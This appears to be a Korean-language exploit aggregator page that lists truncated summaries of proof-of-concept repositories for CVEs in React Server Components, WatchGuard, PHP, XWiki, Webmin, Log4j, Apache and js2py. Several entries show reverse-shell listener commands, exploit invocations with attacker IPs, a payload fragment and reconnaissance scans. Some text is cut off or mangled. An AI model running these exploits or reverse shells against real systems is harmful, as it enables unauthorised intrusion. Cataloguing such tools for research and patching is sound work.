react2shell

React2Shell CVE-2025-55182 비인증 원격 코드 실행 취약점일명 React2Shell에 대한 개념 증명 익스플로잇입니다. 이 스크립트는 다음 Next.js 버전 이하에서 셸을 획득하는 데 사용됩니다: 15.0.4 이하 15.1.8 이하 15.2.5 이하 15.3.5 이하 15.4.7 이하 15.5.6 이하 16.0.6 이하 14.3.0-canary.77 및 이후 버전 16.0.6 버전에서만 테스트되었습니다. 사용법 root@kitploit: $ ./react2shell.py --help d8888b...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE PoC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2025-55182

CVE-2025-55182 RCE 자가 점검 도구로, CVE-2025-55182 취약점을 점검합니다. 취약점 원리 React Server Components가 서버 함수 엔드포인트로 전송된 페이로드를 디코딩할 때 경로 해석 결함이 존재합니다. 이는 콜론으로 객체 속성을 구분하여 중첩 값 참조를 구현합니다예: $1🅰️b는 "a":"b":"foo".a.b에 해당. 그러나 속성 존재 여부 검증이 없습니다. $1🅰️a를 전달하면 .a.a의 유효하지 않은 값 참조가 발생하여 서버 500 오류를 유발합니다. 공격자는 특수하게 조작된...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

프로젝트 목표: 취약한 WordPress 설치를 대상으로 CVE-2021-29447미디어 라이브러리의 XXE을 악용하여 원격 코드 실행 및 전체 시스템 손상까지 이르는 완전한 공격 체인을 시연하는 것. 1단계: 정찰 및 정보 수집 Nmap을 사용한 네트워크 스캔: bash 열린 포트를 빠르게 발견하기 위한 SYN 스캔 nmap -sS -T4 10.201.3.95 상세 버전 및 스크립트 스캔 nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initialscan 결과: text PORT STATE...

React2Shell-CVE-2025-55182-Testing-Environment

React2Shell CVE-2025-55182 테스트 환경 CVE-2025-55182치명적 CVSS 10.0 React Server Components 원격 코드 실행 취약점을 위한 컨테이너화된 테스트 환경입니다. ⚠️ 경고 이 환경은 의도적으로 취약하게 설계되었으며, 다음 목적으로만 사용해야 합니다: 보안 연구 및 교육 격리된 환경에서의 침투 테스트 취약점 메커니즘 이해 다음과 같은 행위는 금지합니다: 운영 환경에 배포 인터넷에 노출 악의적인 목적으로 사용 취약점 세부 정보 CVE : CVE-2025-55182 React,...

CVE-2024-4577

이것은 CVE-2024-4577의 POC입니다. 이 익스플로잇을 통해 공격자는 RCE 를 수행할 수 있습니다. PHP 8.3 8.3.8, PHP 8.2 8.2.20, PHP 8.1 8.1.29과 같은 PHP 버전에서 인수는 코드에서 확인할 수 있습니다! 이 특정 익스플로잇에 대한 자세한 내용은 nist.gov에서 확인하세요...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit XWiki SolrSearch에 대한 인증되지 않은 RCE PoC CVE-2025-24893. 명령 실행 + 리버스 셸. CVE-2025-24893 – XWiki SolrSearch RCE PoC XWiki SolrSearch 템플릿 인젝션을 통해 인증되지 않은 원격 코드 실행을 유발하는 개념 증명. XWiki Debian 15.10.8 에서 테스트됨 15.10.11 / 16.4.1 / 16.5.0RC1에서 패치됨. ⚠️ 교육 목적으로만 사용하세요. 소유하지 않거나 명시적 테스트 허가를...

vscode-frida

VSCode용 Frida Workbench 저장소 | 이슈 | 설치 이 프로젝트는 커뮤니티 기여 프로젝트로, 공식 Frida 팀과는 관련이 없습니다. @CodeColorist가 Visual Studio Code용 오픈소스 확장 프로그램으로 개발 및 유지 관리하며, Frida 스크립팅 경험을 향상시키기 위한 것입니다. 中文说明 사전 요구 사항 Python = 3.7 frida-tools 파이썬 패키지 선택적 의존성 libimobiledevice inetcat 명령으로 SSH 셸을 시작하기 위한 용도 Windows의 iTunes...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 이 저장소는 Webmin 버전 1.580 에 대한 Python proof-of-concept PoC 익스플로잇을 포함합니다. 이 버전은 부적절한 입력 검증으로 인해 원격 명령 실행 RCE에 취약합니다. 취약점은 file/show.cgi 구성 요소에 존재하며, File Manager 모듈에 접근 권한이 있는 인증된 Webmin 사용자 가 루트 권한으로 임의의 OS 명령 을 실행할 수 있게 합니다. 이 PoC는 교육 및 연구 목적 으로 개발되었으며 통제된 실험실...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j 스캐닝 도구 이 도구는 시스템에서 원격 코드 실행 취약점log4j을 식별하는 데 도움이 됩니다. 요구 사항 bash 스크립트를 실행하려면 httpx, subfinder, assetfinder, curl 및 amass를 설치해야 합니다. 설치 1. 간단히 git clone으로 리포지토리를 복제하거나 bash 스크립트를 다운로드합니다. git clone https://github.com/shamo0/CVE-2021-44228.git 2. 파일 권한을 변경합니다. chm...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49에서 CVE-2021-42013 취약점Path Traversal & RCE을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다. 이 프로젝트는 Apache HTTP Server 2.4.49에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용exploit하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의...

CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 poc nuclei -target url -t CVE-2025-55182.yaml nuclei-template에서 수정됨 핵심 코드: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 원격 코드 실행 참조: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2023-5044

CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect 어노테이션을 통한 코드 인젝션 먼저, Pod와 Service를 배포해야 합니다: root@kitploit: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo args: - "-text=apple" --- kind: Service...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182에 대한 PoC root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" 법적 고지 이 도구는 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 요구 사항 pip install requests 사용법 이 도구는 세 가지...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free JScript.dll의 Use-After-Free 취약점을 통한 원격 코드 실행 CVE-2025-30397 🧠 설명 이 저장소는 Windows Server 2025빌드 25398 및 이전 버전에 영향을 주는 JScript 엔진jscript.dll의 Use-After-Free 취약점에 대한 개념 증명PoC 익스플로잇을 포함합니다. 이 취약점은 힙 스프레이 기법을 통한 메모리 손상을 악용하여 원격 코드 실행을 허용합니...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397을 위한 리버스 셸. js2py = v0.74에서 작동하는 익스플로잇입니다. 요구 사항 requests 라이브러리 pip install requests Python3 Netcat 리버스 셸 리스너로 사용할 수 있는 도구 사용법 리스너용 root@kitploit: nc -lnvp 4444 익스플로잇용 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSS Score - 7.6 🔥 설명 이 높은 심각도의 RCE원격 코드 실행 취약점 CVE-2024-21689는 Bamboo Data Center 및 Server의 버전 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0, 9.6.0에서 도입되었습니다. CVSS 점수 7.6의 이 RCE원격 코드 실행 취약점은 인증된 공격자가 임의의 코드를 실행할 수 있게 하며, 기밀성, 무결성, 가용성에 높은 영향을 미치며 사용...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom -file PoC.pk3 작동했다면, 이제 자신에게 리버스 셸이 연결되어 있어야 합니다. 이 PoC는 Linux 전용입니다...

CVE-2017-9805

nuclei CVE-2017-9805.yaml 테스트 - struts2 showcase RCE Dockerfile 빌드 docker build -t cve-2017-9805 . 컨테이너 시작 및 분리 docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash 실행 중인 컨테이너에 로그인 docker exec -it cve-2017-9805 /bin/bash Tomcat 시작 $CATALINAHOME/bin/startup.sh...